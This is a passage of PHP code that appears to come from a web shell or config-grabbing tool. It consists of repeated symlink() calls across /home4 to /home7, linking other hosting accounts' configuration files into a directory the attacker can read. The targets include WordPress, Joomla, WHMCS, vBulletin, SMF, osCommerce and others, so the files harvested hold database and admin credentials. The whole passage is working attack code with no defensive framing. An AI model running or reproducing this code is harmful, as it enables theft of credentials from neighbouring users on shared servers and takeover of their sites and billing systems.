VBulletin4.txt'); symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt'); symlink('/home4/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ; symlink('/home4/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt'); symlink('/home4/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt'); symlink('/home4/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt'); symlink('/home4/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt'); symlink('/home4/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt'); symlink('/home4/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt'); symlink('/home4/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt'); symlink('/home4/'.$user.'/public_html/config/config.php',$kola.' ~~ Lokomedia.txt'); symlink('/home4/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt'); symlink('/home4/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ; symlink('/home4/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt'); symlink('/home4/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ; symlink('/home4/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt'); symlink('/home4/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt'); symlink('/home4/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ; symlink('/home4/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ; symlink('/home4/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ; symlink('/home4/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ; symlink('/home4/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ; symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ; symlink('/home4/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt'); symlink('/home4/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt'); symlink('/home4/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt'); symlink('/home4/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt'); symlink('/home4/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt'); symlink('/home4/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt'); symlink('/home4/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt'); symlink('/home4/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt'); symlink('/home4/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt'); symlink('/home4/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt'); symlink('/home4/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15'); symlink('/home4/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16'); symlink('/home4/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17'); symlink('/home4/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18'); symlink('/home4/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19'); symlink('/home4/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20'); symlink('/home4/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21'); symlink('/home4/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22'); symlink('/home4/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home4/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ; symlink('/home4/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ; symlink('/home4/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ; symlink('/home4/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ; symlink('/home4/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt'); symlink('/home4/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt'); symlink('/home4/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt'); symlink('/home4/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt'); symlink('/home4/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt'); symlink('/home4/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt'); symlink('/home4/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt'); symlink('/home4/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt'); symlink('/home4/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt'); symlink('/home4/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt'); symlink('/home4/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt'); symlink('/home4/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt'); symlink('/home4/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt'); symlink('/home4/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt'); symlink('/home4/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ; symlink('/home4/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ; symlink('/home4/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt'); symlink('/home4/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt'); symlink('/home4/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt'); symlink('/home4/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt'); symlink('/home4/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt'); symlink('/home4/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ; symlink('/home5/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ; symlink('/home5/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ; symlink('/home5/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ; symlink('/home5/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ; symlink('/home5/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ; symlink('/home5/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt'); symlink('/home5/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt'); symlink('/home5/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt'); symlink('/home5/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt'); symlink('/home5/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt'); symlink('/home5/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt'); symlink('/home5/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt'); symlink('/home5/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt'); symlink('/home5/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt'); symlink('/home5/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt'); symlink('/home5/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt'); symlink('/home5/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt'); symlink('/home5/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt'); symlink('/home5/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt'); symlink('/home5/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt'); symlink('/home5/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt'); symlink('/home5/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt'); symlink('/home5/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt'); symlink('/home5/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt'); symlink('/home5/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt'); symlink('/home5/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt'); symlink('/home5/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt'); symlink('/home5/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt'); symlink('/home5/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt'); symlink('/home5/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt'); symlink('/home5/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt'); symlink('/home5/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ; symlink('/home5/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ; symlink('/home5/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ; symlink('/home5/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ VBulletin4.txt'); symlink('/home5/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt'); symlink('/home5/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ; symlink('/home5/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt'); symlink('/home5/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt'); symlink('/home5/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt'); symlink('/home5/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt'); symlink('/home5/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt'); symlink('/home5/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt'); symlink('/home5/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt'); symlink('/home5/'.$user.'/public_html/config/config.php',$kola.' ~~ config.txt'); symlink('/home5/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt'); symlink('/home5/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ; symlink('/home5/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt'); symlink('/home5/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ; symlink('/home5/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt'); symlink('/home5/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt'); symlink('/home5/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ; symlink('/home5/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ; symlink('/home5/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ; symlink('/home5/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ; symlink('/home5/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ; symlink('/home5/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ; symlink('/home5/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt'); symlink('/home5/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt'); symlink('/home5/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt'); symlink('/home5/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt'); symlink('/home5/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt'); symlink('/home5/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt'); symlink('/home5/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt'); symlink('/home5/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt'); symlink('/home5/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt'); symlink('/home5/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt'); symlink('/home5/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15'); symlink('/home5/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16'); symlink('/home5/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17'); symlink('/home5/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18'); symlink('/home5/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19'); symlink('/home5/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20'); symlink('/home5/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21'); symlink('/home5/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22'); symlink('/home5/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home5/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home5/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ; symlink('/home5/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ; symlink('/home5/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ; symlink('/home5/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ; symlink('/home5/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt'); symlink('/home5/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt'); symlink('/home5/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt'); symlink('/home5/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt'); symlink('/home5/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt'); symlink('/home5/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt'); symlink('/home5/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt'); symlink('/home5/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt'); symlink('/home5/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt'); symlink('/home5/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt'); symlink('/home5/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt'); symlink('/home5/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt'); symlink('/home5/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt'); symlink('/home5/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt'); symlink('/home5/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ; symlink('/home5/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ; symlink('/home5/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt'); symlink('/home5/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt'); symlink('/home5/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt'); symlink('/home5/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt'); symlink('/home5/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt'); symlink('/home5/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ; symlink('/home6/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ; symlink('/home6/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ; symlink('/home6/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ; symlink('/home6/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ; symlink('/home6/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ; symlink('/home6/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt'); symlink('/home6/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt'); symlink('/home6/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt'); symlink('/home6/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt'); symlink('/home6/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt'); symlink('/home6/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt'); symlink('/home6/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt'); symlink('/home6/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt'); symlink('/home6/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt'); symlink('/home6/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt'); symlink('/home6/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt'); symlink('/home6/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt'); symlink('/home6/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt'); symlink('/home6/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt'); symlink('/home6/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt'); symlink('/home6/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt'); symlink('/home6/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt'); symlink('/home6/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt'); symlink('/home6/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt'); symlink('/home6/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt'); symlink('/home6/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt'); symlink('/home6/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt'); symlink('/home6/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt'); symlink('/home6/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt'); symlink('/home6/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt'); symlink('/home6/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt'); symlink('/home6/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ; symlink('/home6/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ; symlink('/home6/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ; symlink('/home6/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ VBulletin4.txt'); symlink('/home6/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt'); symlink('/home6/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ; symlink('/home6/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt'); symlink('/home6/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt'); symlink('/home6/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt'); symlink('/home6/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt'); symlink('/home6/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt'); symlink('/home6/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt'); symlink('/home6/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt'); symlink('/home6/'.$user.'/public_html/config/config.php',$kola.' ~~ config.txt'); symlink('/home6/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt'); symlink('/home6/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ; symlink('/home6/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt'); symlink('/home6/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ; symlink('/home6/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt'); symlink('/home6/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt'); symlink('/home6/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ; symlink('/home6/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ; symlink('/home6/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ; symlink('/home6/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ; symlink('/home6/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ; symlink('/home6/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ; symlink('/home6/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt'); symlink('/home6/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt'); symlink('/home6/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt'); symlink('/home6/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt'); symlink('/home6/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt'); symlink('/home6/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt'); symlink('/home6/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt'); symlink('/home6/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt'); symlink('/home6/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt'); symlink('/home6/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt'); symlink('/home6/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15'); symlink('/home6/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16'); symlink('/home6/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17'); symlink('/home6/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18'); symlink('/home6/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19'); symlink('/home6/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20'); symlink('/home6/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21'); symlink('/home6/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22'); symlink('/home6/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home6/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home6/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ; symlink('/home6/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ; symlink('/home6/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ; symlink('/home6/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ; symlink('/home6/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt'); symlink('/home6/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt'); symlink('/home6/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt'); symlink('/home6/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt'); symlink('/home6/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt'); symlink('/home6/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt'); symlink('/home6/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt'); symlink('/home6/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt'); symlink('/home6/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt'); symlink('/home6/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt'); symlink('/home6/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt'); symlink('/home6/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt'); symlink('/home6/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt'); symlink('/home6/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt'); symlink('/home6/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ; symlink('/home6/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ; symlink('/home6/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt'); symlink('/home6/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt'); symlink('/home6/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt'); symlink('/home6/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt'); symlink('/home6/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt'); symlink('/home6/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ; symlink('/home7/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ; symlink('/home7/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ; symlink('/home7/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ; symlink('/home7/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ; symlink('/home7/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ; symlink('/home7/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt'); symlink('/home7/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt'); symlink('/home7/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt'); symlink('/home7/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt'); symlink('/home7/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt'); symlink('/home7/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt'); symlink('/home7/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt'); symlink('/home7/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt'); symlink('/home7/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt'); symlink('/home7/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt'); symlink('/home7/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt'); symlink('/home7/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt'); symlink('/home7/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt'); symlink('/home7/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt'); symlink('/home7/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt'); symlink('/home7/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt'); symlink('/home7/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt'); symlink('/home7/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt'); symlink('/home7/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt'); symlink('/home7/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt'); symlink('/home7/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt'); symlink('/home7/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt'); symlink('/home7/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt'); symlink('/home7/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt'); symlink('/home7/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt'); symlink('/home7/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt'); symlink('/home7/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ; symlink('/home7/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ; 